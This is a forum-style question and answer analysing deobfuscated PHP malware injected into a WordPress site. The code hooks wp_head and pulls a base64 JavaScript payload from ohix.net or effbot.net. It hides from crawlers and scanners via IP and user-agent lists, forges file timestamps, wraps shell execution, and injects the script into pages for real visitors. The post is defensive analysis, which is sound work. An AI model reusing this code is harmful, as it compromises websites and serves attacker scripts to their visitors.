I found this code injected in a number of PHP files on a client’s site. Of course the original had been obfuscated and encoded. I’ve managed to decode it and format it to the current form.
My question is: What exactly is it accomplishing and does the code suggest how it was injected and therefore shedding light on how to prevent this in future?
<?php
if(!function_exists('check_wp_head_load')){
function check_wp_head_load(){
if(!function_exists('cc')){
function cc($ll_0){
$ll_1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
if(function_exists('curl_init')){
$ll_2 = curl_init();
curl_setopt($ll_2, 10002, $ll_0);
curl_setopt($ll_2, 42, 0);
curl_setopt($ll_2, 13, 30);
curl_setopt($ll_2, 19913, 1);
curl_setopt($ll_2, 10018, $ll_1);
if(!(@ini_get("safe_mode") || @ini_get("open_basedir"))){
@curl_setopt($ll_2, 52, 1);
}
@curl_setopt($ll_2, 68, 2);
$ll_3 = curl_exec($ll_2);
curl_close($ll_2);
if($ll_3 !== false){
return $ll_3;
}
}
else if(function_exists('fsockopen')){
global $ll_4;
$ll_0 = str_replace("http://", "", $ll_0);
if(preg_match("#/#", "$ll_0")){
$ll_5 = $ll_0;
$ll_0 = @explode("/", $ll_0);
$ll_0 = $ll_0[0];
$ll_5 = str_replace($ll_0, "", $ll_5);
if(!$ll_5 || $ll_5 == ""){
$ll_5 = "/";
}
$ll_6 = gethostbyname($ll_0);
}
else{
$ll_6 = gethostbyname($ll_0);
$ll_5 = "/";
}
$ll_7 = fsockopen($ll_6, 80, $ll_8, $ll_9, 10);
stream_set_timeout($ll_7, 10);
if($ll_7){
$ll_10 = "GET $ll_5 HTTP/1.0rn";
$ll_10 .= "Host: $ll_0rn";
$ll_10 .= "Referer: http://$ll_0$ll_5rn";
$ll_10 .= "Accept-Language: en-us, en;q=0.50rn";
$ll_10 .= "User-Agent: $ll_1rn";
$ll_10 .= "Connection: Closernrn";
fputs($ll_7, $ll_10);
while(!feof($ll_7)){
$ll_11 .= fgets($ll_7, 4096);
}
fclose($ll_7);
$ll_11 = @explode("rnrn", $ll_11, 2);
$ll_12 = $ll_11[0];
if($ll_4){
$ll_12 = "$ll_4<br /><br />n$ll_12";
}
$ll_12 = str_replace("n", "<br />", $ll_12);
if($ll_11[1]){
$ll_13 = $ll_11[1];
}
else{
$ll_13 = "";
}
if($ll_13){
$ll_11 = $ll_13;
}
else{
$ll_11 = $ll_12;
}
if(preg_match("/Location:/", "$ll_12")){
$ll_0 = @explode("Location: ", $ll_12);
$ll_0 = $ll_0[1];
$ll_0 = @explode("r", $ll_0);
$ll_0 = $ll_0[0];
$ll_4 = str_replace("rnrn", "", $ll_12);
$ll_14 = "Location:";
$ll_4 = str_replace("Location:", $ll_14, $ll_4);
return cc($ll_0);
}
else{
return $ll_11;
}
}
}
else{
echo "ERROR";
exit;
}
}
}
if(!function_exists('detB')){
function detB($ll_15, $ll_16){
$ll_17 = array("66.249.[6-9][0-9].[0-9]+", "72.14.[1-2][0-9][0-9].[0-9]+", "74.125.[0-9]+.[0-9]+", "65.5[2-5].[0-9]+.[0-9]+", "74.6.[0-9]+.[0-9]+", "67.195.[0-9]+.[0-9]+",
"72.30.[0-9]+.[0-9]+", "38.[0-9]+.[0-9]+.[0-9]+", "124.115.6.[0-9]+", "93.172.94.227", "212.100.250.218", "71.165.223.134",
"209.9.239.101", "67.217.160.[0-9]+", "70.91.180.25", "65.93.62.242", "74.193.246.129", "213.144.15.38",
"195.92.229.2", "70.50.189.191", "218.28.88.99", "165.160.2.20", "89.122.224.230", "66.230.175.124",
"218.18.174.27", "65.33.87.94", "67.210.111.241", "81.135.175.70", "64.69.34.134", "89.149.253.169",
"64.233.1[6-8][1-9].[0-9]+", "64.233.19[0-1].[0-9]+", "209.185.108.[0-9]+", "209.185.253.[0-9]+", "209.85.238.[0-9]+", "216.239.33.9[6-9]",
"216.239.37.9[8-9]","216.239.39.9[8-9]","216.239.41.9[6-9]","216.239.45.4","216.239.46.[0-9]+","216.239.51.9[6-9]","216.239.53.9[8-9]",
"216.239.57.9[6-9]","216.239.59.9[8-9]","216.33.229.163","64.233.173.[0-9]+","64.68.8[0-9].[0-9]+","64.68.9[0-2].[0-9]+","72.14.199.[0-9]+",
"8.6.48.[0-9]+","207.211.40.82","67.162.158.146","66.255.53.123","24.200.208.112","129.187.148.240","129.187.148.244",
"199.126.151.229","118.124.32.193","89.149.217.191","122.164.27.42","149.5.168.2","150.70.66.[0-9]+","194.250.116.39",
"208.80.194.[0-9]+","62.190.39.205","67.198.80.236","85.85.187.243","95.134.141.250","97.107.135.[0-9]+","97.79.239.[0-9]+",
"184.168.191.[0-9]+","95.108.157.[0-9]+","209.235.253.17");
$ll_18 = array("http","google","slurp","msnbot","bot","crawl",
"spider","robot","httpclient","curl","php","indy library",
"wordpress","charlotte","wwwster","python","urllib","perl",
"libwww","lynx","twiceler","rambler","yandex","trend",
"virus","malware","wget");
$ll_15 = preg_replace("|User.Agent:[s ]?|i", "", $ll_15);
$ll_19 = true;
foreach($ll_17 as $ll_20)
if(eregi("$ll_20", $ll_16)){
$ll_19 = false;
break;
}
if($ll_19)
foreach($ll_18 as $ll_21)
if(eregi($ll_21, $ll_15) !== false){
$ll_19 = false;
break;
}
if($ll_19 and!eregi("^[a-zA-Z]{5,}", $ll_15)){
$ll_19 = false;
}
if($ll_19 and strlen($ll_15) <= 11){
$ll_19 = false;
}
return $ll_19;
}
}
if(!function_exists('rm_rf_file')){
function rm_rf_file($ll_22){
$ll_23 = filemtime($ll_22);
if($ll_24 = opendir($ll_22)){
while(false !==($ll_25 = readdir($ll_24))){
if($ll_25 != "." && $ll_25 != ".." && is_file($ll_25)){
chmod($ll_25, 438);
unlink($ll_25);
}
}
closedir($ll_24);
}
touch($ll_22, $ll_23, $ll_23);
}
}
if(!function_exists('sys_get_temp_dir')){
function sys_get_temp_dir(){
if($ll_26 = getenv("TMP"))
return $ll_26;
if($ll_26 = getenv("TEMP"))
return $ll_26;
if($ll_26 = getenv("TMPDIR"))
return $ll_26;
$ll_26 = tempnam(__FILE__, "");
if(file_exists($ll_26)){
unlink($ll_26);
return dirname($ll_26);
}
return false;
}
}
if(!function_exists('ex')){
function ex($ll_27){
$ll_28 = "";
if(!empty($ll_27)){
if(function_exists('exec')){
@exec($ll_27, $ll_28);
$ll_28 = join("n", $ll_28);
}
elseif(function_exists('shell_exec')){
$ll_28 = @shell_exec($ll_27);
}
elseif(function_exists('system')){
@ob_start();
@system($ll_27);
$ll_28 = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($ll_27);
$ll_28 = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($ll_29 = @popen($ll_27, "r"))){
$ll_28 = "";
while(!@feof($ll_29)){
$ll_28 .= @fread($ll_29, 1024);
}
@pclose($ll_29);
}elseif(@function_exists('proc_open') && @is_resource($ll_29 = @proc_open($ll_27, array(1 => array("pipe", "w")), $ll_30))){
$ll_28 = "";
if(@function_exists('fread') && @function_exists('feof')){
while(!@feof($ll_30[1])){
$ll_28 .= @fread($ll_30[1], 1024);
}
}
else if(@function_exists('fgets') && @function_exists('feof')){
while(!@feof($ll_30[1])){
$ll_28 .= @fgets($ll_30[1], 1024);
}
}
@proc_close($ll_29);
}
}
return htmlspecialchars($ll_28);
}
}
$ll_31 = "lonly";
$ll_32 = $_SERVER["REMOTE_ADDR"];
$ll_1 = $_SERVER["HTTP_USER_AGENT"];
$ll_33 = $_SERVER["SCRIPT_FILENAME"];
$ll_34 = strtolower($ll_1);
if($ll_32 == "" || $ll_1 == "" || $ll_33 == "")
return null;
if(!isset($_COOKIE[$ll_31])){
$ll_35 = @sys_get_temp_dir();
if(!$ll_35){
$ll_35 = dirname($ll_33);
$ll_36 = $ll_35 ."/.tmp";
}
else{
$ll_36 = $ll_35 ."/.tmp";
if(!@file_exists($ll_36)){
$ll_23 = @filemtime($ll_35);
@mkdir($ll_36);
$ll_37 = @fopen("$ll_36/r", "w");
@fwrite($ll_37, "");
@fclose($ll_37);
@chmod($ll_36, 511);
@touch("$ll_36/r", $ll_23, $ll_23);
@touch($ll_35, $ll_23, $ll_23);
@touch($ll_36, $ll_23, $ll_23);
if(!@file_exists("$ll_36/r")){
$ll_35 = dirname($ll_33);
$ll_36 = $ll_35 ."/.cache";
}
}
}
if(!@file_exists($ll_36)){
$ll_23 = @filemtime($ll_35);
@mkdir($ll_36);
@chmod($ll_36, 511);
@touch($ll_35, $ll_23, $ll_23);
@touch($ll_36, $ll_23, $ll_23);
}
$ll_38 = @date("Hi");
$ll_39 = @date("ymd");
$ll_40 = "$ll_36/$ll_39";
$ll_41 = "$ll_36/tmp_$ll_39";
$ll_42 = $ll_39 - 1;
if(@file_exists("$ll_36/tmp_$ll_42") || ($ll_38 >= "0000" &&
$ll_38 <= "0001") || ($ll_38 >= "1200" &&
$ll_38 <= "1201") || ($ll_38 >= "1800" &&
$ll_38 <= "1801")){
@rm_rf_file($ll_36);
@ex("rm -rf $ll_36/*");
}
if(!@file_exists($ll_40)){
$ll_23 = @filemtime($ll_36);
$ll_37 = @fopen($ll_40, "w");
@fclose($ll_37);
@chmod($ll_40, 511);
@touch($ll_36, $ll_23, $ll_23);
}
if(@is_writable($ll_36) && (!@file_exists($ll_41) || @filesize($ll_41) < 5)){
$ll_43 = array("ohix.", "effbot.", "/f/", "net");
$ll_44 = $ll_43[rand(0, 1)] .$ll_43[3] .$ll_43[2];
$ll_45 = @cc($ll_44);
if($ll_45 != "ERROR" && base64_decode($ll_45) !== false){
$ll_23 = @filemtime($ll_36);
$ll_37 = @fopen($ll_41, "w");
@fwrite($ll_37, "$ll_45");
@fclose($ll_37);
@chmod($ll_41, 511);
@touch($ll_36, $ll_23, $ll_23);
@touch($ll_41, $ll_23, $ll_23);
}
else
return null;
}
$ll_46 = @base64_decode(@file_get_contents($ll_41));
$ll_47 = @file($ll_40);
$ll_48 = false;
foreach($ll_47 as $ll_49){
if(@trim($ll_49) == $ll_32){
$ll_48 = true;
break;
}
}
$ll_19 = @detB($ll_1,$ll_32);
if($ll_48 == false && $ll_19 == true){
$ll_37 = @fopen($ll_40,"a");
@fwrite($ll_37, "$ll_32n");
@fclose($ll_37);
echo "n" .str_repeat(" ", mt_rand(300, 1000))
. "<script type='text/javascript'>$ll_46</script>n";
}
}
}
}
$ll_31 = "lonly";
if(!isset($_COOKIE[$ll_31]))
@add_action("wp_head", "check_wp_head_load", mt_rand(1, 7));
?>
Okay, at first analysis of all defined functions and at the end analysis of what does script actually do. The script defines following functions:
Load any URL content, it has 2 implementations (one for curl, second for sockets):
Some sort of RemoteAddr/User agent validation (when to hide):
Remove file/directory recursively and replace it with own new file (so
mtime
will match)Get system/php temporary directory (several ways):
Execute shell command (implementation for all possible executions that php supports):
And main payload function:
So if I’m reading all this code correctly the script does following:
mtime
of parent folder$payloadFile
(probably advertisement content) from one of those sites:ohix.net/f/
effbot.net/f/
$ipStorageFile
)detB
) not to display it’s content to certain IPs (probably some bots, security checks and so on) and some user agents (such as googlebots or clients unable to launch javascript by default).After some refactoring and reading, I concluded the script will eventually cause the server to browser to one of the following websites:
As well as downloading and executing files from those websites.
It’s either that you have a weak password (or otherwise somehow guessable), or it may be a security hole in wordpress. Make sure you have the most updated version.